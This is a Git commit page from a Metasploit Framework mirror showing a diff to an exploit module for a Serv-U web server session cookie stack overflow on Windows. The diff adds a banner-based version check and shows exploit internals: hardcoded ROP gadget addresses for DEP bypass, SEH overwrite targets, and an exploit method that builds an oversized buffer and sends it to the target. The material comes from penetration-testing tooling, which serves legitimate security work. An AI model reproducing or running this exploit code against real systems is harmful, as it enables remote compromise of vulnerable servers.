github/metasploit-framework
1
Fork 0
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00
Code Releases Activity

Added check support.

Browse Source 
git-svn-id: file:///home/svn/framework3/trunk@7585 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Patrick Webster 2009-11-23 07:37:54 +00:00
parent a3d4e1c44a
commit f2d998d514
1 changed files with 21 additions and 10 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

31
modules/exploits/windows/http/servu_session_cookie.rb
View File

@ -54,18 +54,18 @@ class Metasploit3 < Msf::Exploit::Remote
[
[ 'Windows 2003 SP2 English (NX)',
{
'FixESP' => 0x0fb02849, # add esp, 0x40c / ret @libeay32
'FixESI' => 0x78a31e96, # pop esi / ret @mfc90u.dll
'FixESP' => 0x0fb02849, # add esp, 0x40c / ret @libeay32
'FixESI' => 0x78a31e96, # pop esi / ret @mfc90u.dll
'FixEBP' => 0x78a4ae99, # push esp / pop ebp / ret 0xc @mfc90u.dll
'Ret' => 0x78a3e987, # ret 0x20 @mfc90u.dll
'DisableNX' => 0x7c83f547, # NX Disable @ntdll.dll
'JmpESP' => 0x78b2c753 # jmp esp @mfc90u.dll
'Ret' => 0x78a3e987, # ret 0x20 @mfc90u.dll
'DisableNX' => 0x7c83f547, # NX Disable @ntdll.dll
'JmpESP' => 0x78b2c753 # jmp esp @mfc90u.dll
}
],
[ 'Windows 2000 SP4 and XP SP3 English (SEH)',
{
'Ret' => 0x0fb870bd # pop pop ret @libeay32.dll
'Ret' => 0x0fb870bd # pop pop ret @libeay32.dll
}
],
],
@ -77,13 +77,24 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
connect
sock.put("\r\n\r\n") # works
res = sock.get(-1,3)
disconnect
if (res =~ /Server: Serv-U\/9\.0\.0\.5/)
return Exploit::CheckCode::Vulnerable
elsif (res =~ /Server: Serv-U/)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
# hit end of stack..
sploit = Rex::Text.rand_text(1000) * 75
if (target.name =~ /NX/)
# new SEH handler (point esp into buffer)
@ -114,13 +125,13 @@ class Metasploit3 < Msf::Exploit::Remote
req << "\r\n"
req << "\r\n";
connect
print_status("Trying target #{target.name}..." % target['Ret'])
sock.put(req)
select(nil, nil, nil, 1.5)
handler
disconnect
end
end